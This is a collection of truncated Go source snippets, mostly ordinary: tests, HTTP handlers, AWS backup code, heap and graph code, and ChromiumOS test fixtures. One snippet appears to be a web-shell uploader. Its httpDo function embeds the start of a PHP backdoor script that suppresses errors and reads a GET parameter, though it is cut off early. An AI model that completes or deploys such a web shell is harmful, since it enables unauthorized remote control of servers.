text
stringlengths
11
4.05M
package zh_test import ( "github.com/olebedev/when" "github.com/stretchr/testify/require" "testing" "time" ) var now = time.Date(2022, time.March, 14, 0, 0, 0, 0, time.UTC) type Fixture struct { Text string Index int Phrase string Diff time.Duration } func ApplyFixtures(t *testing.T, name string, w *wh...
package controllers import ( "bytes" "fmt" "github.com/UniversityRadioYork/myradio-go" "github.com/UniversityRadioYork/ury-ical/models" "github.com/UniversityRadioYork/ury-ical/structs" "github.com/gorilla/mux" "github.com/jaytaylor/html2text" "net/http" "strconv" "strings" "text/template" ) // ShowControl...
// Copyright 2022 The ChromiumOS Authors // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. package cryptohome import ( "context" "fmt" "os" "time" "chromiumos/tast/common/fixture" "chromiumos/tast/common/hwsec" "chromiumos/tast/common/policy" "chromiumos/...
package main import ( "fmt" "log" "os" "time" "github.com/aws/aws-sdk-go/aws" "github.com/aws/aws-sdk-go/aws/session" "github.com/aws/aws-sdk-go/service/s3" "github.com/aws/aws-sdk-go/service/s3/s3manager" ) var ( configPath string backupName string bucket string prefix string ) func init() { i...
package main import "fmt" // why not just type heap []int ? type heap struct { data []int } // insert adds element e to the heap func (h *heap) insert(e int) { if cap(h.data) == len(h.data) { data := make([]int, cap(h.data)*2)[0:len(h.data)] copy(data, h.data) h.data = data } h.data = h.data[0:len(h.da...
package input import ( "encoding/json" ) type EKS struct { AWSRegion string `json:"aws_region"` AWSAccessKey string `json:"aws_access_key"` AWSSecretKey string `json:"aws_secret_key"` ClusterName string `json:"cluster_name"` } func (eks *EKS) GetInput() ([]byte, error) { return json.Marshal(eks) } func Ge...
package leetcode_0635_设计日志存储系统 /* 你将获得多条日志,每条日志都有唯一的 id 和 timestamp,timestamp 是形如 Year:Month:Day:Hour:Minute:Second 的字符串 例如 2017:01:01:23:59:59,所有值域都是零填充的十进制数。 设计一个日志存储系统实现如下功能: void Put(int id, string timestamp): 给定日志的 id 和 timestamp,将这个日志存入你的存储系统中。 int[] Retrieve(String start, String end, String granularity): 返回在...
package common import ( "github.com/globalsign/mgo" "log" "time" ) type AppBus struct { MongoDbSession *mgo.Session } var ( appBus *AppBus ) func GetAppBus() *AppBus { if appBus != nil { return appBus } else { dialInfo := mgo.DialInfo{ Addrs: []string{"127.0.0.1"}, Direct: false, Timeout:...
package infra import "database/sql" type SqlHandler struct { Conn *sql.DB } func NewSqlHandler() *SqlHandler { conn, err := sql.Open("mysql", "root:password@tcp(localhost:3306)/dict") if err != nil { panic(err.Error) } sqlHandler := new(SqlHandler) sqlHandler.Conn = conn return sqlHandler }
// Copyright 2022 The ChromiumOS Authors // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. package apps import ( "context" "time" "github.com/golang/protobuf/ptypes/empty" "google.golang.org/grpc" "chromiumos/tast/errors" "chromiumos/tast/local/chrome" "c...
package graphs import "../core" func (d *DirectedNode) BreadthFirstSearch() []int { q := new(core.Queue) q.Enqueue(d) var visited []*DirectedNode for n, _ := q.Dequeue(); q.Size() != 0; n, _ = q.Dequeue() { curr := n.(*DirectedNode) for _, neighbor := range curr.neighbors { ...
// Copyright (c) 2015-present Mattermost, Inc. All Rights Reserved. // See LICENSE.txt for license information. // package aws import ( "fmt" "github.com/aws/aws-sdk-go-v2/aws/arn" "github.com/mattermost/mattermost-cloud/model" "github.com/pkg/errors" log "github.com/sirupsen/logrus" corev1 "k8s.io/api/core/v1...
package handlers import ( "encoding/json" "fmt" "net/http" ) // will write the provided http status code and value to the provided // response writer. Intended for use with values meant to be encoded // as a JSON in an http response. func respond(w http.ResponseWriter, statusCode int, value interface{}) { w.Head...
package main import "fmt" // args get passed by value func zeroval(ival int) { ival = 0 } // args get passed by reference func zeroptr(iptr *int) { // set value of dereferenced pointer *iptr = 0 } func main() { i := 1 fmt.Println("initial:", i) zeroval(i) fmt.Println("zeroval:", i) // pass in the memory a...
package main import "fmt" type USB interface { Name() string Connecter } type Connecter interface { Connect() } type PhoneConnecter struct { name string } func (pc PhoneConnecter) Name() string { return pc.name } func (pc PhoneConnecter) Connect() { fmt.Println("connect:", pc.name) } func main() { var usb...
package lowlevel /* #include <fmod.h> */ import "C" import "unsafe" type Geometry struct { cptr *C.FMOD_GEOMETRY } /* 'Geometry' API */ func (g *Geometry) Release() error { res := C.FMOD_Geometry_Release(g.cptr) return errs[res] } /* Polygon manipulation. */ func (g *Geometry) AddPolygon(directocclusion,...
/* * aggro * * This is a utility for acquiring all the network prefixes announced by a list * of autonomous systems, aggregating prefixes into less specific ones and * removing prefixes that are already covered by less specific prefix. The final * list of prefixes should be the shortest list of prefixes that cove...
package main import ( "bufio" "context" "encoding/json" "fmt" "os" "sync" "github.com/gtank/cryptopasta" "github.com/fentec-project/gofe/abe" "github.com/joho/godotenv" "github.com/libp2p/go-libp2p" dht "github.com/libp2p/go-libp2p-kad-dht" pubsub "github.com/libp2p/go-libp2p-pubsub" "github.com/libp2p/...
// // IProxy.go // PureMVC Go Multicore // // Copyright(c) 2019 Saad Shams <saad.shams@puremvc.org> // Your reuse is governed by the Creative Commons Attribution 3.0 License // package interfaces /* The interface definition for a PureMVC Proxy. In PureMVC, IProxy implementors assume these responsibilities: * Im...
package model type RelationType struct { Relation Relation `json:"relation"` } type Relation int const( NotFollowing Relation = iota Following NotAccepted Blocked Blocking )
package util const TemplatePartialImport = ` import %s from "%s"` const TemplatePartialUse = `<%s /> ` const TemplatePartialUseConfig = `<%s /> ` const TemplateConfigField = ` <details className="config-field" data-expandable="%t"%s> <summary> %s` + "`%s`" + ` <span className="config-field-required" data-required="%t...
package addition_test import ( "testing" "github.com/Charliekenney23/terraform-provider-math/internal/testacc" "github.com/hashicorp/terraform-plugin-sdk/v2/helper/resource" ) const dataSourceName = "data.math_addition.test" func TestDataSource_basic(t *testing.T) { resource.ParallelTest(t, resource.TestCase{ ...
package rdb_test import ( "fmt" "sync" "testing" ) import ( "github.com/jinzhu/gorm" "github.com/stretchr/testify/assert" "github.com/xozrc/cqrs/eventsourcing" . "github.com/xozrc/cqrs/eventsourcing/rdb" ) var _ = fmt.Print const ( dialect = "mysql" user = "root" password = "root" ...
package handler import ( "crypto/rand" "database/sql" "encoding/json" "fmt" "io/ioutil" "log" "net/http" "net/url" "os" "path" "reflect" "strconv" "strings" "github.com/Jonny-exe/web-maker/web-maker-server/httpd/export" "github.com/Jonny-exe/web-maker/web-maker-server/httpd/filecreator" "github.com/Jo...
package databasemp import ( "github.com/constant-money/constant-chain/common" ) type DBMemmpoolLogger struct { log common.Logger } func (dbLogger *DBMemmpoolLogger) Init(inst common.Logger) { dbLogger.log = inst } // Global instant to use var Logger = DBMemmpoolLogger{}
package main import ( "fmt" "reflect" "testing" ) func TestPadding(t *testing.T) { tests := map[string]struct { mn [][]int want [][]int }{ "1": { mn: [][]int{ {0, 2, 3}, {4, 5, 6}, }, want: [][]int{ {0, 0, 0}, {0, 5, 6}, }, }, "2": { mn: [][]int{ {1, 0, 3}, {4, ...
package utils import ( "bytes" "encoding/json" "log" "net/http" ) func BuildMsg(id int64, url string, first string, send string, text string, time string, remark string) (msg *MsgTemplate) { msg = &MsgTemplate{ URL: url, Id: id, Data: MsgData{ First: MsgVC{Value: first, Color: "#172177"}, Send: Msg...
package main import ( "fmt" "log" "net/http" "text/template" ) var tpl *template.Template func init() { tpl = template.Must(template.ParseGlob("*.html")) } func main() { http.HandleFunc("/", foo) http.HandleFunc("/dog/", dog) http.Handle("/assets/", http.StripPrefix("/assets", http.FileServer(http.Dir("./as...
// Copyright 2020 The Cockroach Authors. // // Licensed as a CockroachDB Enterprise file under the Cockroach Community // License (the "License"); you may not use this file except in compliance with // the License. You may obtain a copy of the License at // // https://github.com/cockroachdb/cockroach/blob/master/li...
package leetcode import "testing" func TestTrie(t *testing.T) { obj := Constructor() obj.Insert("apple") if !obj.Search("apple") { t.Fail() } }
package access import ( "strconv" "github.com/mikespook/gorbac" "gopkg.in/mgo.v2" "gopkg.in/mgo.v2/bson" "github.com/mgalela/akses/db" "github.com/mgalela/akses/utils" ) var ( //AccessControl is mapping role and access control Rbac *gorbac.RBAC Roles map[int]*gorbac.StdRole //Perms map[int]gorbac.Permis...
package main import ( "log" "net/http" ) type robots struct { URL string } func robotsHandler(w http.ResponseWriter, r *http.Request) { rob := robots{ URL: "http://" + r.Host, } err := tmpl.ExecuteTemplate(w, "robots.tmpl", rob) if err != nil { log.Println(err) } }
// This Source Code Form is subject to the terms of the Mozilla Public // License, v. 2.0. If a copy of the MPL was not distributed with this // file, You can obtain one at http://mozilla.org/MPL/2.0/ package jsonfeed import ( "encoding/json" "io" "time" ) const CurrentVersion = "https://jsonfeed.org/version/1" ...
// Copyright 2019 The ChromiumOS Authors // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. package crostini import ( "context" "fmt" "strings" "time" "chromiumos/tast/local/crostini" "chromiumos/tast/testing" ) func init() { testing.AddTest(&testing.Test{...
package gedis import ( "bufio" "fmt" "net" ) // Connection ... type Connection struct { conn net.Conn reader *bufio.Reader writer *bufio.Writer } func newConnection(conn net.Conn) *Connection { reader := bufio.NewReader(conn) writer := bufio.NewWriter(conn) return &Connection{ conn: conn, reader: re...
// SPDX-License-Identifier: ISC // Copyright (c) 2014-2020 Bitmark Inc. // Use of this source code is governed by an ISC // license that can be found in the LICENSE file. package reservoir import ( "bytes" "encoding/binary" "github.com/bitmark-inc/bitmarkd/account" "github.com/bitmark-inc/bitmarkd/merkle" "gith...
package main import ( "encoding/base64" "flag" "fmt" "net/http" "os" "strings" "github.com/PuerkitoBio/goquery" ) func httpDo(url string, file string, wwwroot string) { client := &http.Client{} shell := ` <?php @error_reporting(0); session_start(); if (isset($_GET['help'])) { $key=substr(md5(uniqid(r...
package main import "testing" func TestAnswerComparisonWellFormed(t *testing.T){ // it should accept well formed strings wfInput := "Buenos Aires" wfAnswer := "Buenos Aires" if got := compareAnswers(wfInput, wfAnswer); got != true { t.Errorf("compareAnswers(%s, %s) = %v, want %v", wfInput, wfAnswer, got, true)...
package problem0044 func isMatch(s string, p string) bool { ls, lp := len(s), len(p) dp := [][]bool{} for i := 0; i < ls+1; i++ { rt := make([]bool, lp+1) dp = append(dp, rt) } // dp[i][j] == true 意味着,s[:i+1] 可以和 p[:j+1] 匹配 dp[0][0] = true for j := 1; j <= lp; j++ { if p[j-1] == '*' { // 当 p[j-1] == ...
package controller import ( "github.com/gin-gonic/gin" "net/http" "strconv" "xpool/models" ) var Income income = income{} type income struct{} func (u *income) IncomeTotal(c *gin.Context) { token := c.PostForm("token") c.JSON(http.StatusOK, IncomeTotalServices(token)) } func (u *income) IncomeBalance(c *gin....
package taosTool import ( "database/sql" "fmt" _ "github.com/satng/sensors-gateway-grpc/taosSql" "os" "time" ) const ( CONNDB = "%s:%s@/tcp(%s)/%s" DRIVER = "taosSql" DBHOST = "127.0.0.1" DBUSER = "root" DBPASS = "taosdata" DBNAME = "sensors_test" ) var ( globalDB *sql.DB ) func InitDB() { // open conn...
package jenkinsbinding import ( "log" devopsv1alpha1 "alauda.io/devops-apiserver/pkg/apis/devops/v1alpha1" devopsclient "alauda.io/devops-apiserver/pkg/client/clientset/versioned" "alauda.io/diablo/src/backend/api" "alauda.io/diablo/src/backend/errors" "alauda.io/diablo/src/backend/resource/common" "alauda.io/...
// Copyright 2020 Adobe. All rights reserved. // This file is licensed to you under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. You may obtain a copy // of the License at http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicab...
// Copyright (C) 2017 Google Inc. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed t...
package generator const simpleStruct = `package {{.Package}} {{if .Imports}} import ( {{range $import := .Imports}} "{{$import}}" {{end}}) {{end}}{{range .Tables -}} // Table {{.Table.User}}.{{.Table.Table}} type {{.Table.Table | ToCamel}} struct { {{range $column := .Columns}} {{$column.Name | ToCamel}} {{$column.Ty...
package menu import ( "WeChat-golang/mp/core" "WeChat-golang/mp/menu/createMenu" "WeChat-golang/mp/menu/getMenu" "fmt" ) func Create(clt core.Client) (err error) { // https://developers.weixin.qq.com/doc/offiaccount/Custom_Menus/Creating_Custom-Defined_Menu.html _, err = clt.PostJson("/cgi-bin/menu/create", n...
package install import ( "strings" kumactl_cmd "github.com/kumahq/kuma/app/kumactl/pkg/cmd" "github.com/pkg/errors" "github.com/spf13/cobra" "github.com/kumahq/kuma/app/kumactl/pkg/install/data" "github.com/kumahq/kuma/app/kumactl/pkg/install/k8s" "github.com/kumahq/kuma/app/kumactl/pkg/install/k8s/metrics" ...
// 152. Mutex 互斥鎖 lock 防止兩條執行緒同時對同一公共資源進行讀寫的 防止搶輸出 // https://golang.org/pkg/sync/#Mutex // https://golang.org/pkg/sync/#RWMutex 讀/寫 // Gosched()圖 // https://studygolang.com/articles/3028 // 鎖住直到編輯結束 其他人才能用 // 在cmd執行時 使用 go run -race main.go // ide上 goroutines: 3 還是會跑出 cmd 執行不會 Why? //func Gosched() //Gosched产生处理器,从...
package main import "fmt" type person struct { name string age int } func main() { p1 := &person{"James", 20} // assigns the address to p1 fmt.Println(p1) fmt.Println(&p1) // gives actual pointer hexadecimal value fmt.Printf("%T\n", p1) fmt.Println(p1.name) // fmt.Println(*p1.name) golang is adding the "*" ...
package status import ( "fmt" "testing" dynatracev1beta1 "github.com/Dynatrace/dynatrace-operator/src/api/v1beta1" "github.com/Dynatrace/dynatrace-operator/src/dtclient" "github.com/Dynatrace/dynatrace-operator/src/kubesystem" "github.com/Dynatrace/dynatrace-operator/src/scheme/fake" "github.com/stretchr/testi...
// Copyright 2014 The btcbot Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. // https://github.com/philsong/ // Author:Phil 78623269@qq.com package util import ( "fmt" "logger" "math" "math/rand" "os" "strconv" "time" ) cons...
package Controller import ( "1/Model" _struct "1/struct" "github.com/gin-gonic/gin" "net/http" "strconv" ) func ShowComment(c *gin.Context) { vid := c.Query("vid") intid, err := strconv.Atoi(vid);if err!=nil{ c.String(http.StatusBadRequest, "Error:%s", err.Error()) return } mp := []_struct.Comment{} ...
package response import "MCS_Server/model" type AccountWithToken struct { model.BaseAccount Token string `json:"token"` }
package main import "fmt" import "math" func main() { var n int fmt.Scan(&n) arr := make([]int, n) var a int for i := 0; i < n; i++ { fmt.Scan(&a) arr[i] = a } var min_cost float64 min_cost = math.Inf(0) for i := 0; i < 100; i++ { var cost float64 for _, x := range arr { z := float64(i - x) ...
// Copyright 2019 The Cockroach Authors. // // Use of this software is governed by the Business Source License // included in the file licenses/BSL.txt. // // As of the Change Date specified in that file, in accordance with // the Business Source License, use of this software will be governed // by the Apache License, ...
package main import ( "fmt" "crypto/sha1" "encoding/hex" ) // func userHashGenerator(input string) (string) { // h := sha1.New() // h.Write([]byte(input)) // sha1_hash := hex.EncodeToString(h.Sum(nil)) // return sha1_hash // } func main() { // input := "dupa" // fmt.Println(in...
package options import ( "flag" "fmt" "os" "path/filepath" "github.com/ssddanbrown/haste/loading" ) // Options hold all the haste specific options available type Options struct { Verbose bool // Internal Services TemplateResolver loading.TemplateResolver // Manager Options OutPath string Root...
package main import ( "fmt" "github.com/PROger4ever-Golang/Redis-serialization-benchmarks/implementations" "reflect" ) const ERROR_FORMAT = "%s: error occured while %s - %s" func main() { app, err := NewApplication() if err != nil { app.ErrorLogger.Printf(ERROR_FORMAT, "main", "configuring app", err) return...
package controllers import ( "encoding/json" "github.com/astaxie/beego" "base_service/models" "strconv" ) // CategoriesController operations for Categories type SpecificationsController struct { beego.Controller } // URLMapping ... func (c *SpecificationsController) URLMapping() { c.Mapping("Post", c.Post) c....
package configs_test import ( "io/ioutil" "log" "os" "testing" "github.com/gabrie30/joke/configs" "github.com/mitchellh/go-homedir" ) func TestConfigsDefault(t *testing.T) { got := configs.DBPath want, err := homedir.Dir() if err != nil { t.Fatalf("Could not determine users home dir, try again -- err: %...
package admission import ( "context" "time" "github.com/sirupsen/logrus" apierrors "k8s.io/apimachinery/pkg/api/errors" metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" "k8s.io/apimachinery/pkg/util/wait" "k8s.io/client-go/kubernetes" "github.com/harvester/harvester/pkg/webhook" ) const ( PollingInterval = 5 ...
package nissan import ( "fmt" "strings" "time" ) type Auth struct { AuthID string `json:"authId"` Template string `json:"template"` Stage string `json:"stage"` Header string `json:"header"` Callbacks []AuthCallback `json:"callbacks"` } type AuthCallback struct { Ty...
package inner import ( "net" "reflect" "testing" ) func Test1(t *testing.T) { addr, _ := net.ResolveTCPAddr("tcp", ":3333") conn, err := net.DialTCP("tcp", nil, addr) if err != nil { t.Error(err) } t.Log(reflect.TypeOf(conn)) // conn.Re // if _, ok := conn.(io.WriterTo); ok { // logger.Debug("WriterTo")...
package main import ( "net/http" "strings" "github.com/labstack/echo" "github.com/labstack/echo/middleware" "github.com/pkg/errors" kingpin "gopkg.in/alecthomas/kingpin.v2" "github.com/previousnext/prometheus-healthz/internal/prometheus" ) const ( // EnvarPort for overriding the default port. EnvarPort = "...
// Copyright 2013 Chris McGee <sirnewton_01@yahoo.ca>. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package gdblib import () type ExecRunParms struct { ThreadGroup string AllInferiors bool } func (gdb *GDB) ExecRun(parms ExecRunParms...
// +build windows package termboxScreen import ( "errors" "fmt" "time" termbox "github.com/nsf/termbox-go" ) const ( NoRefresh = 0 ) type Screen interface { Id() int Initialize(Bundle) error HandleKeyEvent(termbox.Event) int HandleNoneEvent(termbox.Event) int DrawScreen() ResizeScreen() } type Manager s...
package graph import "github.com/hectorhammett/graphs/node" // Graph defines a generic graph interface type Graph interface { AddVertice(node.Node, node.Node) GetNodesList() map[string]node.Node GetAdjacencyList() map[string][]node.Node GetNodeAdjacencyList(node.Node) []node.Node GetNode(string) node.Node }
// Copyright 2018 The Cockroach Authors. // // Use of this software is governed by the Business Source License // included in the file licenses/BSL.txt. // // As of the Change Date specified in that file, in accordance with // the Business Source License, use of this software will be governed // by the Apache License, ...
package mpt import "errors" // GetAllKeyValuePairs of mpt and put in map func (mpt *MerklePatriciaTrie) GetAllKeyValuePairs() map[string]string { if len(mpt.db) == 0 { return nil //, errors.New("Empty MPT") } emptyKeyValuePairs := make(map[string]string) rootNode := mpt.db[mpt.Root] KeyValuePairs, err := mpt...
package redis import ( "fmt" "github.com/go-redis/redis" "time" ) // Config is the struct to pass the Postgres configuration. type RedisConfig struct { Host string Port string Password string Key string } const REDIS_DB = 0 type ConfigStore interface { GetKey(string) string } type Token struct...
package reltest import ( "context" "io" "testing" "github.com/go-rel/rel" "github.com/stretchr/testify/assert" ) func TestIterate(t *testing.T) { tests := []struct { name string result interface{} count int }{ { name: "struct", result: Book{ID: 1}, count: 1, }, { name: "struct ...
package tableModel // @title 基础 admin user // @description // @auth 晴小篆 331393627@qq.com // @param // role // 1 - 超管用户 // 2 - 普通用户 // @return type AdminUserBase struct { ID uint `json:"id" gorm:"primarykey"` Name string `json:"name" gorm:"not null" valid:"required~缺少用户名"` Avatar s...
package test import ( "time" "github.com/juntaki/transparent" ) // NewSource returns Source func NewSource(wait time.Duration) transparent.Layer { test := NewStorage(wait) layer, _ := transparent.NewLayerSource(test) return layer }
// Copyright 2020 The ChromiumOS Authors // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. // Package adb enables controlling android devices through the local adb server. package adb import ( "context" "os" "path/filepath" "syscall" "github.com/shirou/gopsu...
// description : IntSet library tester // author : Tom Geudens (https://github.com/tomgeudens/) // modified : 2016/07/15 // package main import ( "fmt" "github.com/tomgeudens/the_go_programming_language/intset" ) var x intset.IntSet var y intset.IntSet var z intset.IntSet func main() { fmt.Printf("length ...
// gRPC service package main import ( "net" "os" "github.com/romana/rlog" "github.com/youngderekm/grpc-cookies-example/servicedef" "google.golang.org/grpc" "google.golang.org/grpc/reflection" ) // service is the struct that our gRPC service methods will be bound to type server struct { } func main() { // lo...
package kids import ( "reflect" "testing" ) var examples = []struct { want []bool candies []int extraCandies int }{ { want: []bool{true, true, true, false, true}, candies: []int{2, 3, 5, 1, 3}, extraCandies: 3, }, { want: []bool{true, false, false, false, false}, ca...
package main import ( "encoding/json" "errors" "fmt" "log" "net/http" "sort" "github.com/gorilla/mux" ) type book struct { Isbn string `json:"isbn"` Title string `json:"title"` Author string `json:"author"` } // database facade var db map[string]book // ------------------...
package main import "fmt" //Code does not work //It does not work because the channel needs to be able to //load and unload at the same time //If this cannot happen then the channel gets locked func main() { c := make(chan int) c <- 42 fmt.Println(<-c) }
// SPDX-License-Identifier: ISC // Copyright (c) 2014-2020 Bitmark Inc. // Use of this source code is governed by an ISC // license that can be found in the LICENSE file. package blockheader import ( "sync" "github.com/bitmark-inc/bitmarkd/blockdigest" "github.com/bitmark-inc/bitmarkd/fault" "github.com/bitmark-...
package item import ( "errors" ) var ( ErrInvalidCategory = errors.New("category is not valid") ) const ( CategoryAmmunition = "ammunition" CategoryArmor = "armor" CategoryBackpack = "backpack" CategoryBarter = "barter" CategoryClothing ...
package libldbrest import ( "fmt" "io" "io/ioutil" "net/http" "net/http/httptest" "os" "strings" "testing" "github.com/syndtr/goleveldb/leveldb" "github.com/syndtr/goleveldb/leveldb/opt" "github.com/ugorji/go/codec" ) func TestMultiGet(t *testing.T) { dbpath := setup(t) defer cleanup(dbpath) k1 := "1"...
/* Copyright (c) 2014 Dario Brandes Thies Johannsen Paul Kröger Sergej Mann Roman Naumann Sebastian Thobe All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code mu...
package html5 const ( admonitionBlockTmpl = `<div {{ if .ID }}id="{{ .ID}}" {{ end }}` + "class=\"admonitionblock {{ .Kind }}{{ if .Roles }} {{ .Roles }}{{ end }}\">\n" + "<table>\n" + "<tr>\n" + "<td class=\"icon\">\n{{ .Icon }}\n</td>\n" + "<td class=\"content\">\n" + "{{ if .Title }}<div class=\"title\...
package main import ( "time" ) type cmdDTOIN struct { CmdName string `json:"CmdName"` Arguments string `json:"Arguments"` } type cmdDTOOut struct { CmdName string `json:"CmdName"` Arguments string `json:"Arguments"` PID int `json:"PID"` StartTime time.Time `json:"StartTime"` } func gene...
// Copyright 2020 The ChromiumOS Authors // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. package wifi import ( "context" "time" "chromiumos/tast/ctxutil" "chromiumos/tast/remote/network/iw" "chromiumos/tast/remote/wificell" "chromiumos/tast/services/cros/...
package main import "fmt" func main() { x := 2.00000 n := 10 fmt.Println(myPow(x, n)) } func myPow(x float64, n int) float64 { if n < 0 { n = -n x = 1 / x } return pow(x, n) } func pow(x float64, n int) float64 { if n == 0 { return 1.0 } half := pow(x, n/2) if n%2 == 1 { return half * half * x } r...
package calendar import ( "encoding/json" "fmt" "io/ioutil" "math" "strings" ) type Calendar struct { CurrentDay int CurrentSeason *Season Seasons []*Season `json:"seasons"` } func NewCalendar(pathToCalendar string, day int, seasonName string) (*Calendar, error) { calendar, err := loadCalendar(path...
package models type Media struct { LogoImagePath string `json:"logo_image_path"` ChannelBannerImagePath string `json:"channel_banner_image_path"` } type ChannelModel struct { ChannelID int `json:"channel_id"` ChannelName string `json:"channel_name"` ChannelRank in...
// Copyright (c) 2021 Tailscale Inc & AUTHORS All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. // Package localapi contains the HTTP server handlers for tailscaled's API server. package localapi import ( "crypto/rand" "encoding/hex" "encod...
// Copyright 2018 High Fidelity, Inc. // // Distributed under the Apache License, Version 2.0. // See the accompanying file LICENSE or http://www.apache.org/licenses/LICENSE-2.0.html package key import "syscall" func mlock(data []byte) error { return syscall.Mlock(data) }
package car import "fmt" type BMWModel struct { CarModel } func (h BMWModel) Start() { fmt.Println("BMW start") } func (h BMWModel) Stop() { fmt.Println("BMW Stop") } func (h BMWModel) Alarm() { fmt.Println("BMW Alarm") }
// Copyright (C) 2017 Minio Inc. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to ...
// Copyright 2017 The Cockroach Authors. // // Use of this software is governed by the Business Source License // included in the file licenses/BSL.txt. // // As of the Change Date specified in that file, in accordance with // the Business Source License, use of this software will be governed // by the Apache License, ...
package between import ( "encoding/json" "fmt" "net/http" "net/url" "strconv" "text/template" "github.com/prebid/openrtb/v19/openrtb2" "github.com/prebid/prebid-server/adapters" "github.com/prebid/prebid-server/config" "github.com/prebid/prebid-server/errortypes" "github.com/prebid/prebid-server/macros" "...
package main import ( "log" "os" "github.com/jmoiron/sqlx" ) func dbInit() *sqlx.DB { username := os.Getenv("OGRE_DB_USERNAME") password := os.Getenv("OGRE_DB_PASSWORD") host := os.Getenv("OGRE_DB_HOSTNAME") dbname := os.Getenv("OGRE_DB_NAME") db := dbConnect(username, password, host, dbname) return db } ...
package document import "time" func NewBuilder() DocumentBuilder { return &documentBuilder{} } type document struct { id int64 uuid string name string content string created time.Time lastModified time.Time } type Document interface { Id() int64 Uuid()...
package emperor2 import ( "fmt" "sync" ) type emperor struct { Name string } func (e emperor) Say() { fmt.Printf("my name: %s\n", e.Name) } var singleton *emperor var lock *sync.Mutex = &sync.Mutex{} func GetInstance() *emperor { if singleton == nil { lock.Lock() defer lock.Unlock() if singleton == nil ...
// Copyright Google Inc. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, ...
// 判断 101-200 之间有多少个素数,并输出所有素数。 package main import ( "fmt" "math" ) func main() { count := 0 //合数个数 for i := 101; i <= 200; i++ { mid := int(math.Sqrt(float64(i))) for j := 2; j <= mid; j++ { if i%j == 0 { //fmt.Println(i)//符合条件的即为合数 count = count + 1 break } } } fmt...